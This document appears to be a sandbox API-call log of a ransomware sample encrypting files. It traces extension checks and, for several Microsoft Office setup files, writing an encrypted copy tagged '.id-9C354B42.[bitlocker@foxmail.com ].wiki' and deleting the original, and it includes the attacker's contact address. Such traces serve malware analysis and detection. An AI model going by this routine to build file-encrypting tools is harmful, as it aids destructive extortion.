[0046.576] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.576] lstrlenW (lpString=".zip") returned 4 [0046.576] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.576] lstrlenW (lpString=".rar") returned 4 [0046.576] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.576] lstrlenW (lpString=".bz2") returned 4 [0046.576] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.576] lstrlenW (lpString=".7z") returned 3 [0046.576] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.576] lstrlenW (lpString=".dbf") returned 4 [0046.576] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.576] lstrlenW (lpString=".1cd") returned 4 [0046.576] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.576] lstrlenW (lpString=".jpg") returned 4 [0046.577] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.577] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0046.577] lstrlenW (lpString="delete.avi") returned 10 [0046.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0046.608] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=224256) returned 1 [0046.608] CloseHandle (hObject=0x1b8) returned 1 [0046.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0046.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.608] lstrlenW (lpString=".doc") returned 4 [0046.608] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.608] lstrlenW (lpString=".docx") returned 5 [0046.608] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0046.608] lstrlenW (lpString=".pdf") returned 4 [0046.608] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.608] lstrlenW (lpString=".xls") returned 4 [0046.608] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.608] lstrlenW (lpString=".xlsx") returned 5 [0046.608] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0046.608] lstrlenW (lpString=".ppt") returned 4 [0046.608] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.608] lstrlenW (lpString=".zip") returned 4 [0046.609] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.609] lstrlenW (lpString=".rar") returned 4 [0046.609] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.609] lstrlenW (lpString=".bz2") returned 4 [0046.609] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.609] lstrlenW (lpString=".7z") returned 3 [0046.609] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.609] lstrlenW (lpString=".dbf") returned 4 [0046.609] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.609] lstrlenW (lpString=".1cd") returned 4 [0046.609] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.609] lstrlenW (lpString=".jpg") returned 4 [0046.609] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.609] lstrlenW (lpString=".doc") returned 4 [0046.609] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.609] lstrlenW (lpString=".docx") returned 5 [0046.609] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0046.609] lstrlenW (lpString=".pdf") returned 4 [0046.609] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.609] lstrlenW (lpString=".xls") returned 4 [0046.609] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.609] lstrlenW (lpString=".xlsx") returned 5 [0046.609] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0046.609] lstrlenW (lpString=".ppt") returned 4 [0046.609] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.609] lstrlenW (lpString=".zip") returned 4 [0046.609] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.609] lstrlenW (lpString=".rar") returned 4 [0046.609] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.610] lstrlenW (lpString=".bz2") returned 4 [0046.610] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.610] lstrlenW (lpString=".7z") returned 3 [0046.610] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.610] lstrlenW (lpString=".dbf") returned 4 [0046.610] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.610] lstrlenW (lpString=".1cd") returned 4 [0046.610] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0046.610] lstrlenW (lpString=".jpg") returned 4 [0046.610] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.610] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.610] lstrlenW (lpString="base_altgr.xml") returned 14 [0046.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0047.165] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3161) returned 1 [0047.165] CloseHandle (hObject=0x1bc) returned 1 [0047.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0047.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.165] lstrlenW (lpString=".doc") returned 4 [0047.165] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.165] lstrlenW (lpString=".docx") returned 5 [0047.165] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0047.165] lstrlenW (lpString=".pdf") returned 4 [0047.165] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.165] lstrlenW (lpString=".xls") returned 4 [0047.165] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.165] lstrlenW (lpString=".xlsx") returned 5 [0047.165] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0047.165] lstrlenW (lpString=".ppt") returned 4 [0047.165] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.165] lstrlenW (lpString=".zip") returned 4 [0047.165] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.165] lstrlenW (lpString=".rar") returned 4 [0047.165] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.165] lstrlenW (lpString=".bz2") returned 4 [0047.165] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.165] lstrlenW (lpString=".7z") returned 3 [0047.166] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.166] lstrlenW (lpString=".dbf") returned 4 [0047.166] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.166] lstrlenW (lpString=".1cd") returned 4 [0047.166] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.166] lstrlenW (lpString=".jpg") returned 4 [0047.166] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.166] lstrlenW (lpString=".doc") returned 4 [0047.166] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.166] lstrlenW (lpString=".docx") returned 5 [0047.166] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0047.166] lstrlenW (lpString=".pdf") returned 4 [0047.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.166] lstrlenW (lpString=".xls") returned 4 [0047.166] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.166] lstrlenW (lpString=".xlsx") returned 5 [0047.166] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0047.166] lstrlenW (lpString=".ppt") returned 4 [0047.166] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.166] lstrlenW (lpString=".zip") returned 4 [0047.166] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.166] lstrlenW (lpString=".rar") returned 4 [0047.166] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.166] lstrlenW (lpString=".bz2") returned 4 [0047.166] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.166] lstrlenW (lpString=".7z") returned 3 [0047.166] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.166] lstrlenW (lpString=".dbf") returned 4 [0047.166] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.167] lstrlenW (lpString=".1cd") returned 4 [0047.167] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0047.167] lstrlenW (lpString=".jpg") returned 4 [0047.167] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.167] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.167] lstrlenW (lpString="AccessMUI.XML") returned 13 [0047.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0047.379] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1349) returned 1 [0047.379] CloseHandle (hObject=0x1e4) returned 1 [0047.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0047.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0047.379] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.379] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.380] GetLastError () returned 0x0 [0047.380] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x545, lpOverlapped=0x0) returned 1 [0047.381] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x550, lpOverlapped=0x0) returned 1 [0047.382] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.382] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xee, lpOverlapped=0x0) returned 1 [0047.382] SetEndOfFile (hFile=0x1e8) returned 1 [0047.383] CloseHandle (hObject=0x1e8) returned 1 [0047.383] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.383] SetEndOfFile (hFile=0x1e4) returned 1 [0047.384] CloseHandle (hObject=0x1e4) returned 1 [0047.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.384] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0047.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.385] lstrlenW (lpString=".doc") returned 4 [0047.385] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.385] lstrlenW (lpString=".docx") returned 5 [0047.385] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.385] lstrlenW (lpString=".pdf") returned 4 [0047.385] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.385] lstrlenW (lpString=".xls") returned 4 [0047.385] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.385] lstrlenW (lpString=".xlsx") returned 5 [0047.385] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.385] lstrlenW (lpString=".ppt") returned 4 [0047.385] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.385] lstrlenW (lpString=".zip") returned 4 [0047.385] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.385] lstrlenW (lpString=".rar") returned 4 [0047.385] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.385] lstrlenW (lpString=".bz2") returned 4 [0047.385] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.385] lstrlenW (lpString=".7z") returned 3 [0047.385] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.385] lstrlenW (lpString=".dbf") returned 4 [0047.385] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.385] lstrlenW (lpString=".1cd") returned 4 [0047.385] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.385] lstrlenW (lpString=".jpg") returned 4 [0047.385] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.386] lstrlenW (lpString=".doc") returned 4 [0047.386] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.386] lstrlenW (lpString=".docx") returned 5 [0047.386] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.386] lstrlenW (lpString=".pdf") returned 4 [0047.386] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.386] lstrlenW (lpString=".xls") returned 4 [0047.386] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.386] lstrlenW (lpString=".xlsx") returned 5 [0047.386] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.386] lstrlenW (lpString=".ppt") returned 4 [0047.386] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.386] lstrlenW (lpString=".zip") returned 4 [0047.386] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.386] lstrlenW (lpString=".rar") returned 4 [0047.386] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.386] lstrlenW (lpString=".bz2") returned 4 [0047.386] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.386] lstrlenW (lpString=".7z") returned 3 [0047.386] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.386] lstrlenW (lpString=".dbf") returned 4 [0047.386] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.386] lstrlenW (lpString=".1cd") returned 4 [0047.386] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0047.386] lstrlenW (lpString=".jpg") returned 4 [0047.386] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.387] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.387] lstrlenW (lpString="SETUP.XML") returned 9 [0047.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0047.387] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2624) returned 1 [0047.387] CloseHandle (hObject=0x1e4) returned 1 [0047.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0047.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0047.388] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.388] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.388] GetLastError () returned 0x0 [0047.388] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xa40, lpOverlapped=0x0) returned 1 [0047.390] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0047.391] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.391] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.391] SetEndOfFile (hFile=0x1e8) returned 1 [0047.391] CloseHandle (hObject=0x1e8) returned 1 [0047.391] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.391] SetEndOfFile (hFile=0x1e4) returned 1 